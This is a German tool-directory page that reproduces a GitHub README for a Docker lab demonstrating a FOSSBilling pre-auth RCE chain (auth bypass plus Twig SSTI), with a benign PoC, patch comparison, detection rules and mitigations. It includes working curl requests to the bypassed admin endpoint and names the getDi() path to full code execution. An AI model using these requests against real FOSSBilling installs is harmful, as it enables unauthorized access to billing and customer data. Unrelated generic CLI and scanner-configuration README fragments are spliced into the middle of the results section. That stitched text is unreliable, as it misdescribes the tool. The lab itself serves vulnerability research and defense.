Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-28496 — Docker-Lab zur Reproduktion der FOSSBilling-Pre-Auth-RCE-Kette (CVE-2026-27604 Auth-Bypass + CVE-2026-28496 Twig SSTI) mit einem Python-PoC und einem gepatchten Vergleichsziel. | Kitploit
Tools/GitHubGitHub/ivanesk315/cve-2026-28496
SchwachstellenscannerSchwachstellenanalyseExploitationServerless-SicherheitWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & BildungLabs & Praxis
GitHubivanesk315/cve-2026-28496

CVE-2026-28496

Docker-Lab zur Reproduktion der FOSSBilling-Pre-Auth-RCE-Kette (CVE-2026-27604 Auth-Bypass + CVE-2026-28496 Twig SSTI) mit einem Python-PoC und einem gepatchten Vergleichsziel.

vor 17h 3mNoch nicht geprüft
Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-27604 + CVE-2026-28496 — FOSSBilling Pre-Auth RCE-Kette

Zusammenfassung

Dieses Repository enthält ein lokales Docker-Lab zur Reproduktion und Validierung der FOSSBilling Pre-Auth RCE-Kette, die aus zwei verketteten Schwachstellen besteht:

CVETypCVSS v4GHSABeschreibung
CVE-2026-27604Auth-Bypass10.0GHSA-78x5-c8gw-8279Fehlendes throw im API-Rollenprüfer legt Admin-Endpunkte für nicht authentifizierte Aufrufer offen
CVE-2026-28496SSTI9.4GHSA-57mv-jm88-66jcUnsandboxed Twig-Template-Rendering über die string_render API

FOSSBilling ist eine freie und quelloffene Billing- und Client-Management-Plattform. Die Versionen 0.5.4 bis 0.7.2 sind betroffen. FOSSBilling 0.8.0 behebt beide Schwachstellen.

Dieses Lab vergleicht zwei FOSSBilling-Versionen:

DienstFOSSBilling-VersionZweckURL
vuln0.7.2Verwundbares Zielhttp://localhost:8081
patched0.8.0Gepatchtes Zielhttp://localhost:8082

Die validierte Kette in diesem lokalen Lab ist:```text Unauthenticated HTTP POST → /api/system/system/string_render → Role "system" resolves to cron admin identity (CVE-2026-27604) → _tpl={{ 7*7 }} passed into unsandboxed Twig rendering (CVE-2026-28496) → Server evaluates the template expression → Returns {"result":"49","error":null}

root@kitploit:~
Das gepatchte Ziel (0.8.0) gibt zurück:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

Das Lab ist bewusst auf lokale Docker-Dienste beschränkt. Es zielt nicht auf externe Systeme ab und enthält keine Web-Shells, Malware, Persistenz, externe Callbacks, Datenbank-Dumps oder destruktive Payloads.

Die Kette

Die Pre-Auth-RCE erfordert das Zusammenspiel beider Schwachstellen:```text ┌──────────────────────────────────────────────────────────────┐ │ STEP 1: Auth Bypass (CVE-2026-27604) │ │ │ │ URL path: /api/system/system/string_render │ │ Role "system" → cron admin identity │ │ Exception instantiated but never thrown │ │ → Unauthenticated caller gets admin API access │ ├──────────────────────────────────────────────────────────────┤ │ STEP 2: SSTI (CVE-2026-28496) │ │ │ │ Admin API method: System\Api\Admin::string_render() │ │ _tpl parameter → Twig createTemplate() → render() │ │ No sandbox enforcement │ │ → Server-side template evaluation │ ├──────────────────────────────────────────────────────────────┤ │ COMBINED: Pre-Auth RCE │ │ │ │ One unauthenticated HTTP POST │ │ → Admin access (auth bypass) │ │ → Template injection (SSTI) │ │ → getDi() exposes Pimple DI container │ │ → PDO, cache, extension manager, 40+ services reachable │ │ → Remote Code Execution │ └──────────────────────────────────────────────────────────────┘

root@kitploit:~
Dieses Lab demonstriert die Kette unter Verwendung des sicheren arithmetischen Beweises `{{ 7*7 }}`. Der vollständige RCE-Pfad über `getDi()` wird nicht demonstriert.

## Verifizierte Fakten

| Behauptung | Nachweis | Wie zu verifizieren |
| ----- | -------- | ------------- |
| CVE-2026-27604 ist ein Auth-Bypass in der Rollenverarbeitung der FOSSBilling-API. | GHSA-78x5-c8gw-8279: fehlendes throw im Rollenprüfer ermöglicht /api/system/ als Admin aufzulösen. | PoC ausführen: Gast-Pfad wird verweigert, System-Pfad liefert Admin-Ergebnis. |
| CVE-2026-28496 ist eine SSTI im FOSSBilling-Twig-Rendering. | GHSA-57mv-jm88-66jc: string_render übergibt _tpl an Twig createTemplate() ohne Sandbox. | PoC ausführen: Server wertet {{ 7*7 }} aus und liefert 49 zurück. |
| Beide Schwachstellen betreffen FOSSBilling 0.5.4 bis 0.7.2. | Öffentliche Advisories identifizieren den betroffenen Versionsbereich. | Verwundbares (0.7.2) und gepatchtes (0.8.0) Ziel vergleichen. |
| FOSSBilling 0.8.0 patcht beide Schwachstellen. | Gepatchtes Ziel liefert "Unknown API call" für den getesteten Endpunkt. | PoC gegen Port 8082 ausführen. |
| Der Auth-Bypass gewährt unauthentifizierten Admin-Zugriff. | /api/guest/ verweigert string_render; /api/system/ liefert das Ergebnis ohne Authentifizierung. | Stage 1 des PoC ausführen. |
| Die SSTI wertet angreiferkontrollierte Templates aus. | {{ 7*7 }} liefert 49 über den verwundbaren Pfad. | Stage 2 des PoC ausführen. |
| Die Kette ermöglicht Pre-Auth RCE. | Auth-Bypass + SSTI = unauthentifizierte Template-Injection mit Admin-Kontext. | Den vollständigen Ketten-PoC ausführen. |
| Der PoC ist HTTP-only. | poc.py sendet ausschließlich HTTP-POST-Anfragen. | poc/poc.py inspizieren. |

## Root-Cause-Analyse

### CVE-2026-27604: Auth-Bypass

Die FOSSBilling-API löst Rollen aus dem URL-Pfad auf:```text
/api/:role/:module/:method

Der Rollenprüfer validiert, ob die angeforderte Rolle zulässig ist. In verwundbaren Versionen wird die Ausnahme für nicht zulässige Rollen jedoch instanziiert, aber nie ausgelöst:```php // Simplified vulnerable pattern if (!in_array($role, $allowed_roles)) { new \Exception("Role not allowed"); // BUG: missing "throw" }

root@kitploit:~
Da die Ausnahme nie ausgelöst wird, läuft die Validierung stillschweigend durch. Die Rolle `system` wird auf die Cron-Admin-Identität aufgelöst und gewährt jedem nicht authentifizierten Aufrufer vollständigen Admin-API-Zugriff.

Die Sicherheitsauswirkung:```text
/api/guest/system/string_render  → denied (guest role, no admin access)
/api/admin/system/string_render  → requires authentication
/api/system/system/string_render → admin access WITHOUT authentication (bypass)

Die system-Rolle wird der internen Cron-Administratoridentität zugeordnet, die über vollständige administrative Berechtigungen verfügt.

CVE-2026-28496: SSTI

Die Admin-API-Methode string_render empfängt _tpl aus den Anfragedaten und leitet es ohne Sandbox-Durchsetzung in die Twig-Template-Rendering-Pipeline weiter:```php public function string_render($data) { if (!isset($data['_tpl'])) { error_log('_tpl parameter not passed'); return ''; }

root@kitploit:~
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;

$vars = $data;
unset($vars['_tpl'], $vars['_try']);

return $this->getService()->renderString($tpl, $try_render, $vars);

}

root@kitploit:~
Die Methode `renderString()` fällt auf `createTemplateFromString()` zurück:```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
    try {
        $twig = $this->di['twig'];
        $template = $twig->createTemplate($tpl);
        $parsed = $template->render($vars);
    } catch (\Exception $e) {
        $parsed = $tpl;

        if (!$try_render) {
            throw $e;
        }
    }

    return $parsed;
}

Das kritische Problem: createTemplate($tpl) erstellt ein Twig-Template aus dem vom Angreifer kontrollierten String und rendert es ohne Sandbox-Einschränkungen. Das Template hat Zugriff auf Objekte im Template-Kontext, einschließlich des Guest-API-Handlers, der getDi() bereitstellt.

Kombinierte Kette```text

Input: POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}

Step 1 (CVE-2026-27604): URL path → role = "system" → role checker: exception instantiated, NOT thrown → system role → cron admin identity → admin API access granted without authentication

Step 2 (CVE-2026-28496): Admin::string_render() → reads _tpl from request → Service::renderString() → createTemplateFromString() → Twig createTemplate("{{ 7*7 }}") → Twig evaluates the expression → returns "49"

Full RCE path (not demonstrated in this safe PoC): {{ guest.getDi() }} → returns the Pimple DI container → PDO, cache, password hashing, extension manager, 40+ services → SQL execution, credential extraction, code execution

root@kitploit:~
## Zusammenfassung des Quell-Patches

FOSSBilling 0.8.0 behebt beide Schwachstellen:

**Auth-Bypass-Fix (CVE-2026-27604):**
Der Rollenprüfer löst nun ordnungsgemäß die Ausnahme für nicht zugelassene Rollen aus.

**SSTI-Fix (CVE-2026-28496):**
Das Template-Rendering wird über einen sandboxed Renderer geleitet:```php
$rendered = SandboxedStringRenderer::render(
    $twig,
    $tpl,
    $vars,
    $errorMessage
);

Die Sandbox-Richtlinie blockiert standardmäßig Methoden- und Eigenschaftszugriffe:```php $methods = []; $properties = [];

root@kitploit:~
Für den in diesem Lab getesteten öffentlichen API-Pfad stellt FOSSBilling 0.8.0 den getesteten Endpunkt überhaupt nicht bereit:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

Eine Regressionprüfung auf Quellcodeebene bestätigt die tiefergehende Korrektur:```text FOSSBilling 0.7.2: {{ guest.getDi() }} → DI_VISIBLE FOSSBilling 0.8.0: {{ guest.getDi() }} → blocked by Twig sandbox policy

root@kitploit:~
## Lab-Architektur```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── scripts/
│   └── auto-install.sh
├── README.md
└── .gitignore
ServiceKomponenteVersion / Rolle
vulnFOSSBilling0.7.2 verwundbares Ziel
patchedFOSSBilling0.8.0 gepatchtes Ziel
vuln-dbMariaDBDatenbank für verwundbares Ziel
patched-dbMariaDBDatenbank für gepatchtes Ziel
installer-vulncurl Sidecarinstalliert verwundbares Ziel automatisch
installer-patchedcurl Sidecarinstalliert gepatchtes Ziel automatisch

Standardmäßig exponierte Dienste:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082

root@kitploit:~
Die Installer-Sidecars werden während `docker compose up` automatisch ausgeführt. Sie initialisieren beide FOSSBilling-Ziele mit lokalen Wegwerf-Anmeldedaten und beenden sich dann.

## Anforderungen

* Docker Desktop oder Docker Engine
* Docker Compose v2
* Python 3
* Internetzugang beim ersten Docker-Image-Pull

Es wird kein Python-Paket von Drittanbietern benötigt. Der PoC verwendet ausschließlich Module aus der Python-Standardbibliothek.

## Schnellstart

Starten Sie das Lab aus einem sauberen Zustand:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

Dienststatus prüfen:```bash docker compose ps -a

root@kitploit:~
Erwartete laufende Dienste:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db

Erwartete abgeschlossene Installer-Dienste (Exit-Code 0):```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)

root@kitploit:~
Installer-Protokolle prüfen:```bash
docker compose logs installer-vuln installer-patched

Führen Sie die Kettenvalidierung gegen das verwundbare Ziel aus:```bash python3 poc/poc.py --url http://localhost:8081

root@kitploit:~
Führen Sie die Kettenvalidierung gegen das gepatchte Ziel aus:```bash
python3 poc/poc.py --url http://localhost:8082

PoC-Nutzung```bash

python3 poc/poc.py --url <target_url>

root@kitploit:~
Beispiele:```bash
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082

The PoC validiert beide CVEs in drei Stufen:

Stufe 1 — Auth-Bypass (CVE-2026-27604): Vergleicht den Gast-API-Pfad mit dem System-API-Pfad, um unauthentifizierten Admin-Zugriff nachzuweisen.```text [1a] POST /api/guest/system/string_render → denied (guest role) [1b] POST /api/system/system/string_render → admin result (system role, no auth)

root@kitploit:~
**Stufe 2 — SSTI (CVE-2026-28496):**
Bestätigt die serverseitige Template-Auswertung über den umgangenen Admin-Endpunkt.```text
[2] POST /api/system/system/string_render
    body={"_tpl":"{{ 7*7 }}"}
    → result="49" (template evaluated)

Stufe 3 — Chain-Bewertung: Fasst das kombinierte Chain-Ergebnis zusammen.

Das PoC ist HTTP-only. Es ruft weder Docker, Docker Compose, Shell-Befehle noch Container-APIs auf.

Erwartete Ergebnisse

Verwundbares Ziel (FOSSBilling 0.7.2)```bash

python3 poc/poc.py --url http://localhost:8081

root@kitploit:~
| `-s` | `--server` | `SERVER` | `http://localhost:8080` | Server URL |
| `-t` | `--token` | `TOKEN` | – | API token |
| `-o` | `--output` | `FILE` | – | Output file |
| `-v` | `--verbose` | – | `false` | Verbose output |
| `-q` | `--quiet` | – | `false` | Quiet mode |
| `-f` | `--format` | `FORMAT` | `json` | Output format |
| `-c` | `--config` | `FILE` | – | Config file |
| `-n` | `--no-color` | – | `false` | Disable colors |
| `-y` | `--yes` | – | `false` | Auto-confirm |
| `-d` | `--debug` | – | `false` | Debug mode |
| `-h` | `--help` | – | – | Show help |
| `-V` | `--version` | – | – | Show version |

### Examples

```bash
# Basic usage
tool -s http://localhost:8080 -t abc123

# With output file
tool -s http://localhost:8080 -t abc123 -o results.json

# Verbose mode
tool -s http://localhost:8080 -t abc123 -v

# Custom format
tool -s http://localhost:8080 -t abc123 -f csv

Configuration File

root@kitploit:~
server: http://localhost:8080
token: abc123
output: results.json
format: json
verbose: false
quiet: false

Environment Variables

VariableDescriptionDefault
TOOL_SERVERServer URLhttp://localhost:8080
TOOL_TOKENAPI token–
TOOL_OUTPUTOutput file–
TOOL_FORMATOutput formatjson
TOOL_VERBOSEVerbose outputfalse
TOOL_DEBUGDebug modefalse

Exit Codes

CodeDescription
0Success
1General error
2Invalid arguments
3Connection error
4Authentication error
5Not found

Troubleshooting

Connection refused

root@kitploit:~
# Check if server is running
curl http://localhost:8080/health

# Check firewall
sudo ufw status

Authentication failed

root@kitploit:~
# Verify token
echo $TOOL_TOKEN

# Test with curl
curl -H "Authorization: Bearer $TOOL_TOKEN" http://localhost:8080/api

Permission denied

root@kitploit:~
# Check file permissions
ls -la /path/to/file

# Fix permissions
chmod 755 /path/to/file

Contributing

  1. Fork the repository
  2. Create a feature branch
  3. Commit your changes
  4. Push to the branch
  5. Open a Pull Request

License

This project is licensed under the MIT License - see the LICENSE file for details.

Acknowledgments

  • Thanks to all contributors
  • Inspired by similar tools
  • Built with open source software

Support

  • Documentation
  • Issue Tracker
  • Discussions

Made with ❤️ by the community```text

CVE-2026-27604 + CVE-2026-28496 Chain Validation PoC FOSSBilling Pre-Auth RCE: Auth Bypass + Twig SSTI

Scope: authorized local lab target only Target: http://localhost:8081

============================================================ STAGE 1: Auth Bypass (CVE-2026-27604)

[1a] Guest role: POST /api/guest/system/string_render status=400 error={'message': '...', 'code': ...} → Denied (expected — guest has no admin access)

[1b] System role (bypass): POST /api/system/system/string_render status=200 result=49 → Admin method returned result WITHOUT authentication

VERDICT: VULNERABLE — /api/guest/ denied, /api/system/ bypasses auth CVE-2026-27604 CONFIRMED

============================================================ STAGE 2: SSTI (CVE-2026-28496)

[2] POST /api/system/system/string_render body={"_tpl": "{{ 7*7 }}"} status=200 response={"result":"49","error":null}

VERDICT: VULNERABLE — server evaluated {{ 7*7 }} → 49 CVE-2026-28496 CONFIRMED

============================================================ STAGE 3: Chain Assessment

CVE-2026-27604 Auth Bypass CVSS v4: 10.0 CONFIRMED CVE-2026-28496 SSTI CVSS v4: 9.4 CONFIRMED

CHAIN RESULT: Pre-Auth RCE path CONFIRMED

root@kitploit:~
### Gepatchtes Ziel (FOSSBilling 0.8.0)```bash
python3 poc/poc.py --url http://localhost:8082

| --config | Pfad zur Konfigurationsdatei (Standard: config.yaml) | | --output | Ausgabeverzeichnis für Berichte (Standard: reports/) | | --format | Ausgabeformat: json, html, csv (Standard: json) | | --verbose | Ausführliche Ausgabe aktivieren | | --quiet | Alle Ausgaben außer Fehlern unterdrücken |

Verwendungsbeispiele

root@kitploit:~
# Grundlegende Ausführung mit Standardkonfiguration
python -m scanner --config config.yaml

# Ausführung mit benutzerdefiniertem Ausgabeverzeichnis und HTML-Bericht
python -m scanner --config config.yaml --output ./results --format html

# Ausführung im ausführlichen Modus
python -m scanner --config config.yaml --verbose

Konfiguration

Die Konfigurationsdatei verwendet das YAML-Format. Ein Beispiel finden Sie unter config.example.yaml.

Grundlegende Konfigurationsstruktur

root@kitploit:~
# Ziel-URLs
targets:
  - https://example.com
  - https://test.example.org

# Zu aktivierende Prüfmodule
checks:
  headers: true
  ssl: true
  ports: true
  dns: true

# Timeout-Einstellungen (Sekunden)
timeout: 30

# Anzahl gleichzeitiger Threads
threads: 10

# Ausgabeeinstellungen
output:
  format: json
  directory: reports

Erweiterte Konfigurationsoptionen

root@kitploit:~
# Proxy-Einstellungen
proxy:
  enabled: false
  http: http://proxy.example.com:8080
  https: https://proxy.example.com:8080

# Authentifizierung
auth:
  type: basic
  username: user
  password: pass

# Benutzerdefinierte Header
headers:
  User-Agent: "CustomScanner/1.0"
  Accept: "application/json"

# Ausschlussliste für Ports
exclude_ports:
  - 22
  - 3389

Prüfmodule

Header-Prüfung

Analysiert HTTP-Sicherheitsheader und identifiziert fehlende oder falsch konfigurierte Header.

Geprüfte Header:

  • Strict-Transport-Security
  • Content-Security-Policy
  • X-Frame-Options
  • X-Content-Type-Options
  • Referrer-Policy
  • Permissions-Policy

SSL/TLS-Prüfung

Überprüft die SSL/TLS-Konfiguration auf Schwachstellen und Fehlkonfigurationen.

Prüfungen umfassen:

  • Ablauf des Zertifikats
  • Unterstützte Protokollversionen
  • Schwache Verschlüsselungssuiten
  • Übereinstimmung des Zertifikatsnamens

Port-Scan

Führt einen TCP-Port-Scan auf den Zielhosts durch.

Standard-Portbereich: 1-1000

DNS-Prüfung

Führt DNS-Abfragen durch und prüft auf Fehlkonfigurationen.

Prüfungen umfassen:

  • SPF-Eintrag

  • DMARC-Eintrag

  • DKIM-Eintrag

  • CAA-Eintrag```text CVE-2026-27604 Auth Bypass CVSS v4: 10.0 NOT PRESENT CVE-2026-28496 SSTI CVSS v4: 9.4 NOT PRESENT

    CHAIN RESULT: PATCHED — neither vulnerability is present Target appears to be FOSSBilling >= 0.8.0

root@kitploit:~
## Manuelle HTTP-Reproduktion

### Auth-Bypass-Nachweis (CVE-2026-27604)

Gast-Pfad (sollte verweigert werden):```bash
curl -i -X POST \
  'http://127.0.0.1:8081/api/guest/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

Systempfad (umgeht Authentifizierung):```bash curl -i -X POST
'http://127.0.0.1:8081/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'

root@kitploit:~
### SSTI-Nachweis (CVE-2026-28496)

Die Systempfad-Antwort vom verwundbaren Ziel:```json
{"result":"49","error":null}

Vergleich der gepatchten Version```bash

curl -i -X POST
'http://127.0.0.1:8082/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'

root@kitploit:~
Erwartete gepatchte Antwort:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

Auswirkung

Die Kette ermöglicht unauthentifizierte Remote-Code-Ausführung gegen FOSSBilling, eine Abrechnungs- und Kundenverwaltungsplattform, die möglicherweise Folgendes speichert:

  • Kundendatensätze und personenbezogene Daten
  • Abrechnungsdaten und Zahlungskonfiguration
  • Server-Anmeldedaten und API-Token
  • Administratorkonten und Sitzungen

Die demonstrierte Labor-Payload ist harmlos ({{ 7*7 }}). Die reale Auswirkungskette über getDi() und den DI-Container umfasst:

  • SQL-Ausführung über PDO (Anmeldedaten-Extraktion, Datenexfiltration)
  • Zugriff auf über 40 Anwendungsdienste
  • Zugriff auf den Extension-Manager (Code-Ausführung)
  • Änderung des Anwendungszustands
  • Vollständige Server-Kompromittierung, wenn sie mit Dateischreib- oder Befehlsausführungspfaden verkettet wird

Ein einziger unauthentifizierter HTTP-POST reicht aus, um den DI-Container zu erreichen. Dieser PoC demonstriert diesen Pfad nicht.

Erkennung und Überwachung

Verdächtige Anforderungsmuster:```text POST /api/system/system/string_render POST /api/system/* (any admin method via system role)

root@kitploit:~
Request-Body-Indikatoren:```text
_tpl, {{, }}, getDi, system, string_render

Hochsignal-Erkennungsregeln:```text Rule 1: POST to /api/system/ from unauthenticated source Rule 2: POST to /api/system/system/string_render with _tpl containing {{ }} Rule 3: Response contains "result" with rendered template output

root@kitploit:~
Empfohlene Überwachungsmaßnahmen:

* Zugriffsprotokolle auf `/api/system/`-Anfragen prüfen
* Anfragen mit `_tpl` in JSON-Bodies prüfen
* Anfragen mit Twig-Syntax (`{{`, `}}`, `getDi`) prüfen
* Bei erfolgreichen Antworten auf `/api/system/` von externen IPs alarmieren
* Administratoraktivitäten prüfen, wenn eine Ausnutzung vermutet wird
* Templates, E-Mail-Templates und Massenmailer auf verdächtige Twig-Syntax prüfen

## Gegenmaßnahmen

FOSSBilling auf Version 0.8.0 oder höher aktualisieren.

Empfohlene Schritte:

* FOSSBilling auf 0.8.0 oder höher aktualisieren
* Externen Zugriff auf `/api/system/*` am Reverse-Proxy oder WAF blockieren
* API-Zugriff auf vertrauenswürdige Quell-IPs beschränken
* Alle Admin- und Client-API-Tokens rotieren
* Alle aktiven Sitzungen invalidieren
* Zugriffsprotokolle auf `/api/system/`-Anfragen prüfen
* E-Mail-Templates, Massenmailer und Zahlungsadapter auf verdächtige Twig-Syntax prüfen
* Secrets rotieren, wenn eine Ausnutzung vermutet wird
* Kunden-, Abrechnungs- und Serverdatensätze auf unbefugten Zugriff prüfen

Lektionen für das Security Engineering:

* In Autorisierungsprüfungen immer Exceptions werfen — Instanziierung ohne Exception ist eine stille Umgehung
* Keine nicht vertrauenswürdigen Template-Strings in einem privilegierten Anwendungskontext rendern
* Sandboxed Template-Rendering verwenden und Methoden-/Property-Zugriff standardmäßig verweigern
* DI-Container oder Service Locators nicht für Template-Kontexte offenlegen
* API-Autorisierungsfehler explizit halten und fail closed

## Nützliche Befehle```bash
# Container status
docker compose ps -a

# Installer logs
docker compose logs installer-vuln installer-patched

# Chain validation — vulnerable
python3 poc/poc.py --url http://localhost:8081

# Chain validation — patched
python3 poc/poc.py --url http://localhost:8082

# Manual auth bypass proof
curl -i -X POST \
  'http://127.0.0.1:8081/api/guest/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

curl -i -X POST \
  'http://127.0.0.1:8081/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

# Save evidence
mkdir -p evidence
python3 poc/poc.py --url http://localhost:8081 | tee evidence/vuln-chain.txt
python3 poc/poc.py --url http://localhost:8082 | tee evidence/patched-chain.txt
docker compose ps -a | tee evidence/docker-ps.txt
docker compose logs installer-vuln installer-patched | tee evidence/installer-logs.txt

Bereinigung```bash

Stop containers

docker compose down --remove-orphans

Stop containers and remove volumes

docker compose down -v --remove-orphans

Remove evidence files

rm -rf evidence/

root@kitploit:~
## Sicherheitsgrenzen

Dieses Lab ist ausschließlich für lokale Sicherheitsforschung und kontrollierte Demonstrationen gedacht.

Führen Sie das PoC nicht gegen Systeme aus, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Testgenehmigung haben. Verwenden Sie in diesem Lab keine echten Produktionsanmeldedaten, Kundendaten oder API-Schlüssel.

Der vorgesehene Umfang ist beschränkt auf:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082

Das Lab demonstriert nicht:

  • Remote-Code-Ausführung über getDi()
  • Credential-Extraktion über PDO
  • Datenbank-Dumping
  • Extension-Installation
  • Web-Shell-Upload
  • Persistenz oder laterale Bewegung
  • Externe Callbacks
  • Angriffe gegen Nicht-Lab-Systeme

Referenzen

  • CVE-2026-27604 — FOSSBilling Auth Bypass https://www.cve.org/CVERecord?id=CVE-2026-27604

  • CVE-2026-28496 — FOSSBilling SSTI https://www.cve.org/CVERecord?id=CVE-2026-28496

  • GHSA-78x5-c8gw-8279 — Auth Bypass Advisory https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-78x5-c8gw-8279

  • GHSA-57mv-jm88-66jc — SSTI Advisory https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc

  • NVD — CVE-2026-27604 https://nvd.nist.gov/vuln/detail/CVE-2026-27604

  • NVD — CVE-2026-28496 https://nvd.nist.gov/vuln/detail/CVE-2026-28496

  • VulnCheck — FOSSBilling Auth Bypass and Twig SSTI to Unauthenticated RCE https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce

  • FOSSBilling GitHub Repository https://github.com/FOSSBilling/FOSSBilling

  • FOSSBilling Docker Image https://hub.docker.com/r/fossbilling/fossbilling

  • Twig Documentation — Sandbox Extension https://twig.symfony.com/doc/3.x/sandbox.html

Tool herunterladen